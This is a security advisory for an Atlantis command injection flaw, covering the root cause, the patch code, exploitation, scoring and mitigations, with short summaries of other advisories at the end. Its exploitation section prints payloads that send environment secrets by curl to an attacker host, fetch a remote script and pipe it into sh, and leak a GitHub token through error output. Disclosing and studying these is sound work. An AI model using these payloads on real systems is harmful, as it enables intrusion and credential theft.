Oct 28, 2026·11 min read·3 visits
Atlantis versions 0.4.0 through 0.47.0 concatenate user-controlled Terraform workspace arguments into a single string executed via `sh -c`. Authenticated contributors can inject shell metacharacters via `atlantis.yaml`, pull request comments (`-w`), HCL `cloud` blocks, or the HTTP API to achieve remote code execution during the `plan` workflow.
CVE-2026-116676 (GHSA-rjh2-4xgw-p2hj) is an OS command injection vulnerability (CWE-78) in Atlantis, an open-source Go application that automates Terraform pull request workflows via webhooks. From version 0.4.0 prior to version 0.47.1, Atlantis constructed Terraform and Conftest commands by joining argument slices into a single space-separated string and passing them to a shell interpreter (`sh -c`). Because user-controlled workspace names from `atlantis.yaml`, pull request comments, HCL configurations, and API requests were insufficiently validated against shell metacharacters, an authenticated contributor eligible to trigger a Terraform plan can execute arbitrary commands under the Atlantis service account.
Atlantis (github.com/runatlantis/atlantis) is a self-hosted Go application that listens for Version Control System (VCS) webhook events to automate Terraform workflows directly from pull requests and merge requests. When a contributor opens, updates, or comments on a pull request, Atlantis checks out the target branch, parses configuration files, and executes the terraform binary alongside optional policy tools such as Conftest.
In versions 0.4.0 prior to 0.47.1, Atlantis is vulnerable to OS command injection (CWE-78) during the execution of standard Terraform operations, including the plan phase. The application builds command lines by concatenating the binary path and its arguments into a single space-delimited string using strings.Join(args, " "), and passes the resulting string to /bin/sh -c via Go's os/exec package.
Because the Terraform workspace parameter is derived from untrusted repository inputs and is incorporated into these command arguments without adequate sanitization against shell control characters, an attacker with privileges to submit an eligible pull request or comment can append arbitrary shell commands. Furthermore, an associated flaw in how Atlantis expands environment variables across command arguments allows contributors to exfiltrate sensitive process environment variables by reflecting them through Terraform CLI error messages.
The root cause of CVE-2026-116676 is the combination of shell-mediated command execution and incomplete input validation across four distinct ingress vectors for the Terraform workspace parameter. Additionally, unrestricted environment variable expansion on user-supplied comment arguments created a secondary credential disclosure mechanism.
In server/core/terraform/tfclient/terraform_client.go, the prepCmd method constructed the execution command by joining the args slice with spaces: tfCmd := fmt.Sprintf("%s %s", binPath, strings.Join(args, " ")). The prepExecCmd method subsequently invoked exec.Command("sh", "-c", tfCmd). A matching pattern existed in server/core/runtime/models/exec.go for Conftest execution, where LocalExec.CombinedOutput joined arguments with spaces and executed them via exec.Command("sh", "-c", formattedArgs). Invoking /bin/sh -c causes the shell interpreter to parse the entire string for command separators (;, &, |, &&, ||), command substitution (`, $()), and redirection operators (>, <).
Input validation across the four ingress points that populate the workspace value failed to block shell metacharacters:
atlantis.yaml): In server/core/config/raw/project.go, workspace validation only checked strings.Contains(ws, "..") || strings.ContainsAny(ws, "/\\"). This logic prevented directory traversal but permitted all shell control characters and whitespace.-w / --workspace): In server/events/comment_parser.go, the parser validated the workspace flag using workspace != url.PathEscape(workspace). Under RFC 3986 rules implemented by Go's net/url package, url.PathEscape does not escape characters such as &, $, =, :, @, or +. Consequently, payloads without spaces such as -w 'a&&id' bypassed validation entirely.server/events/project_finder.go, the function DetermineWorkspaceFromHCL extracted the workspace name from cloud { workspaces { name = "..." } } blocks in .tf files without performing any validation.server/controllers/api_controller.go, the /api/plan and /api/apply handlers deserialized paths[].workspace from incoming JSON request bodies without validating the workspace string.Separately, prepCmd called os.Expand on every argument in the command slice to support dynamic variables like $WORKSPACE in server-side or repo-level extra_args. Because arguments parsed from pull request comments (CommentArgs) were merged into the same slice prior to expansion, a user could pass -parallelism=$ATLANTIS_GH_TOKEN in a comment. When Terraform failed to parse the secret string as an integer for -parallelism, it printed the expanded secret value to standard error, which Atlantis automatically posted back to the pull request thread.
The vulnerability was remediated in pull request #6792 via commit f04df0d53f0544d9eb6f5026dd8b74fbefd82ac8 on the main branch and backported to the 0.47 release branch in commit 8dd22b4d0a9d7c129fdbf6a3398dd1c4cf8c3a59. The patch addresses the flaw across three layers: replacing shell execution with direct argument vectors (argv), enforcing centralized workspace validation, and restricting environment variable expansion based on argument provenance.
First, the patch eliminates sh -c invocation for Terraform and Conftest executions by introducing NewArgvCommandRunner in server/core/runtime/models/shell_command_runner.go and updating LocalExec.CombinedOutput in server/core/runtime/models/exec.go:
// Vulnerable code in server/core/runtime/models/exec.go
formattedArgs := strings.Join(args, " ")
cmd := exec.Command("sh", "-c", formattedArgs)
// Patched code in server/core/runtime/models/exec.go
// Directly passes the binary and argument slice to the OS without invoking a shell
cmd := exec.Command(args[0], args[1:]...) // #nosec G204// Patched runner added in server/core/runtime/models/shell_command_runner.go
func NewArgvCommandRunner(
argv []string,
display string,
environ []string,
workingDir string,
streamOutput bool,
outputHandler jobs.ProjectCommandOutputHandler,
) *ShellCommandRunner {
// Executes argv[0] directly with argv[1:] as literal process arguments
cmd := exec.Command(argv[0], argv[1:]...) // #nosec G204
cmd.Env = environ
cmd.Dir = workingDir
return &ShellCommandRunner{
command: display,
workingDir: workingDir,
outputHandler: outputHandler,
streamOutput: streamOutput,
cmd: cmd,
}
}Second, the patch introduces a unified validation function ValidateWorkspaceName in server/core/config/valid/workspace.go and applies it across all four ingress points (project.go, comment_parser.go, project_finder.go, and api_controller.go):
// Added in server/core/config/valid/workspace.go
func ValidateWorkspaceName(workspace string) error {
if workspace == "" {
return nil
}
if strings.ContainsAny(workspace, `/\`) {
return errors.New(`cannot contain '/' or '\'`)
}
if strings.Contains(workspace, "..") {
return errors.New("cannot contain '..'")
}
if workspace == "." {
return errors.New("cannot be '.'")
}
// Prevents argument flag injection into the CLI
if strings.HasPrefix(workspace, "-") {
return errors.New("cannot start with '-'")
}
if strings.HasPrefix(workspace, "~") {
return errors.New("cannot start with '~'")
}
// Prevents variable expansion attempts
if strings.Contains(workspace, "$") {
return errors.New("cannot contain '$'")
}
// Rejects all whitespace and ASCII/Unicode control characters
for _, r := range workspace {
if unicode.IsSpace(r) || unicode.IsControl(r) {
return errors.New("cannot contain whitespace or control characters")
}
}
return nil
}Third, to prevent environment variable exfiltration via pull request comments, ProjectContext was updated to track ExpandableArgs (derived from configured extra_args) separately from CommentArgs. In server/core/terraform/tfclient/terraform_client.go, prepCmd uses the expansionSet helper to ensure os.Expand is only called on operator-approved arguments and never on arguments supplied in PR comments:
// Added in server/core/terraform/tfclient/terraform_client.go
func expansionSet(expandable []string, literal []string) map[string]bool {
if len(expandable) == 0 {
return nil
}
fromComment := make(map[string]bool, len(literal))
for _, arg := range literal {
fromComment[arg] = true
}
set := make(map[string]bool, len(expandable))
for _, arg := range expandable {
// Explicitly exclude any argument that also appeared in a user comment
if !fromComment[arg] {
set[arg] = true
}
}
return set
}Additionally, legacy quoting wrappers (such as fmt.Sprintf("%q", planPath)), which were previously necessary when passing strings through sh -c, were removed so that literal quote characters are not passed into the argv array. The combination of direct argv execution, flag-prefix rejection (-), and strict provenance tracking for variable expansion provides a complete fix against both shell injection and argument injection across these execution paths.
Exploiting CVE-2026-116676 requires the ability to trigger an Atlantis plan operation on a monitored repository. For internal contributors with write access to create branches on the target repository, no special server flags are required. For external users on public repositories, exploitation via a forked pull request is possible if the Atlantis server is running with the non-default --allow-fork-prs setting enabled.
Crucially, exploitation occurs during the plan phase and does not require apply permissions, custom server-side workflows, or the ability to execute untrusted Terraform providers (which might otherwise be blocked by provider allowlists or network restrictions during terraform init).
atlantis.yamlAn attacker opens or updates a pull request containing a modified atlantis.yaml file (or .tf file with a cloud block) where the workspace field embeds shell commands:
version: 3
projects:
- dir: .
workspace: "staging; env | base64 -w0 | curl -X POST -d @- http://attacker.example.com/exfil #"When the pull request is opened (if autoplan is enabled) or when atlantis plan is commented, Atlantis runs terraform workspace select <workspace> to switch to the specified workspace. Internally, prepCmd constructs the string:
/usr/local/bin/terraform workspace select staging; env | base64 -w0 | curl -X POST -d @- http://attacker.example.com/exfil #When passed to sh -c, the shell executes terraform workspace select staging, immediately executes the env and curl pipeline as a second command, and ignores any trailing arguments due to the # comment character.
-w)Even if repository-level atlantis.yaml modifications are restricted via --allow-repo-config=false, an attacker who can comment on an existing pull request can exploit the flaw using the -w flag without spaces to bypass url.PathEscape:
atlantis plan -w default&&curl${IFS}http://attacker.example.com/shell.sh|shWithout executing arbitrary commands, an attacker can extract secrets from the Atlantis process environment by referencing environment variables in flags passed via a pull request comment:
atlantis plan -- -parallelism=$ATLANTIS_GH_TOKENAtlantis expands $ATLANTIS_GH_TOKEN prior to invoking Terraform. Terraform rejects the non-integer value for -parallelism and outputs an error message containing the expanded token string, which Atlantis captures and posts directly as a pull request comment.
CVE-2026-116676 carries a CVSS v3.1 base score of 8.8 (High) with the vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H. The Attack Vector is Network (AV:N) because the vulnerability is triggered remotely via VCS webhooks or HTTP API calls, and Attack Complexity is Low (AC:L) as it triggers deterministically upon plan execution without race conditions. Privileges Required is Low (PR:L), reflecting the need for repository contributor or PR submission access, and User Interaction is None (UI:N) when autoplan triggers automatically upon PR creation.
Because Atlantis acts as a centralized deployment automation broker, its execution environment typically holds high-privilege credentials for both version control and cloud infrastructure. Successful exploitation grants the attacker arbitrary code execution under the Atlantis service account, resulting in high impact across Confidentiality, Integrity, and Availability:
C:H): Complete read access to process environment variables, including VCS credentials (ATLANTIS_GH_TOKEN, GitHub App private keys, GitLab tokens), cloud provider secrets (AWS_SECRET_ACCESS_KEY, GOOGLE_APPLICATION_CREDENTIALS, ARM_CLIENT_SECRET), Terraform Cloud tokens, and local Terraform state files containing plaintext infrastructure secrets.I:H): Attackers can use stolen cloud credentials to modify or provision production infrastructure outside the pull request approval workflow, push unauthorized commits to protected branches using the Atlantis VCS token, or tamper with local Terraform state and plan files on the Atlantis host.A:H): Attackers can terminate the Atlantis server process, corrupt workspace locks, or destroy cloud resources managed by the service.> [!NOTE]
> In many CI/CD architectures, terraform plan is treated as a read-only preview step safe to run on untrusted pull requests prior to code review, whereas terraform apply is gated behind branch protection and peer approvals. This vulnerability breaks that security boundary by enabling full compromise during the pre-merge plan step before any human review occurs.
The primary remediation is to upgrade Atlantis to version 0.47.1 or later. Version 0.47.1 replaces shell-based command execution (sh -c) with direct argument vector (argv) execution for Terraform and Conftest, enforces strict validation via ValidateWorkspaceName across all four workspace ingress points, and restricts environment variable expansion (os.Expand) exclusively to operator-configured extra_args.
If an immediate upgrade to v0.47.1 is not possible, operators should apply the following defense-in-depth mitigations to reduce the attack surface:
--allow-fork-prs=false (the default setting) is configured so external users on public repositories cannot trigger Atlantis workflows from forked branches.atlantis.yaml files are not required, disable them globally or per-repository via the server-side repos.yaml configuration (allow_custom_workflows: false and restricting allowed overrides) to prevent contributors from defining arbitrary workspace names in atlantis.yaml.atlantis.yaml diffs for workspace parameters containing shell metacharacters (;, &, |, `, $), and monitor host process execution logs for /bin/sh -c spawning unexpected child binaries (curl, wget, nc, base64).CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
Atlantis runatlantis | >= 0.4.0, < 0.47.1 | 0.47.1 |
| Attribute | Detail |
|---|---|
| Vulnerability Type | OS Command Injection (CWE-78) |
| CVSS v3.1 Score | 8.8 High (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) |
| Affected Versions | >= 0.4.0, < 0.47.1 |
| Patched Version | 0.47.1 |
| Attack Vector | Network (PR atlantis.yaml, PR comments, HCL cloud blocks, HTTP API) |
| Primary Impact | Remote Code Execution and credential disclosure under Atlantis service account |
| CISA KEV Status | Not Listed |
The application constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.
CVE-2026-87018 (GHSA-qrxm-fqhp-jwvm) is a high-severity Denial of Service (DoS) vulnerability in undici, the default HTTP/1.1 and HTTP/2 client for Node.js that backs the global fetch() implementation. The flaw stems from reachable assertions in undici's socket and session error handlers, which assume that TLS hostname verification errors (ERR_TLS_CERT_ALTNAME_INVALID) cannot occur after the initial connection establishment. By initiating a post-handshake TLS 1.2 renegotiation and presenting a certificate with a mismatched Subject Alternative Name (SAN), a remote HTTPS server can trigger this assertion and terminate the entire Node.js runtime process via an uncaught AssertionError.
FileBrowser Quantum prior to versions 1.5.2-stable and 2.0.1-beta contains an improper link resolution vulnerability (CWE-59) in its file indexing and retrieval subsystems. When processing file read, download, preview, media streaming, OnlyOffice integration, or public share requests, the application resolves symbolic links via Go's filepath.EvalSymlinks without verifying that the canonical target path remains within the configured source root and the user's assigned access scope. Consequently, authenticated users with read access or unauthenticated holders of public share links can read arbitrary server-accessible files outside their designated directory boundaries.
CVE-2026-116679 (GHSA-5cp7-fp4j-wwcv) is an incorrect authorization vulnerability (CWE-863) in m1k1o/neko, a self-hosted virtual browser running inside Docker via WebRTC. In versions from 3.0.0 prior to 3.1.5, a boolean logic inversion in the LegacyIsHost() method within server/internal/session/session.go causes the server to unconditionally grant host input privileges over the legacy WebRTC data channel when implicit hosting is enabled. Authenticated non-privileged room members can exploit this flaw to bypass room control locks and profile restrictions, allowing unauthorized injection of mouse and keyboard events into the shared virtual browser session.
CVE-2026-116688 (GHSA-rh54-vffm-5fvp) is a high-severity Cross-Site Scripting (XSS) vulnerability in the CKEditor 5 engine package (`@ckeditor/ckeditor5-engine` and the umbrella `ckeditor5` package). The flaw originates from an upstream prototype pollution vulnerability in the `es-toolkit` dependency (versions prior to 1.52.0) used to parse and process inline HTML `style` attributes. When processing crafted CSS style declarations, the engine permits modification of `Object.prototype`, which alters downstream DOM conversion and sanitization checks to achieve arbitrary JavaScript execution in the browser context.
CVE-2026-116687 is a Cross-Site Scripting (XSS) vulnerability in the @ckeditor/ckeditor5-engine package of CKEditor 5. When the General HTML Support (GHS) plugin is configured to permit embedded container elements such as <object>, <embed>, or <iframe>, insufficient validation of data: URIs and incomplete stripping of ASCII C0 control characters allow attackers to execute arbitrary JavaScript within an isolated null-origin browser context.
CVE-2026-116686 is a Server-Side Request Forgery (SSRF) and Denial of Service (DoS) vulnerability in the official Model Context Protocol (MCP) Python SDK (mcp package on PyPI). When an MCP client validates structured tool execution results against a server-provided outputSchema, the SDK invokes the Python jsonschema library with its default URI resolution configuration. An untrusted or compromised MCP server can supply an outputSchema containing external $ref directives (using http://, https://, or file:// schemes), forcing the client process to synchronously fetch internal network resources, read local files, or block the main event loop indefinitely.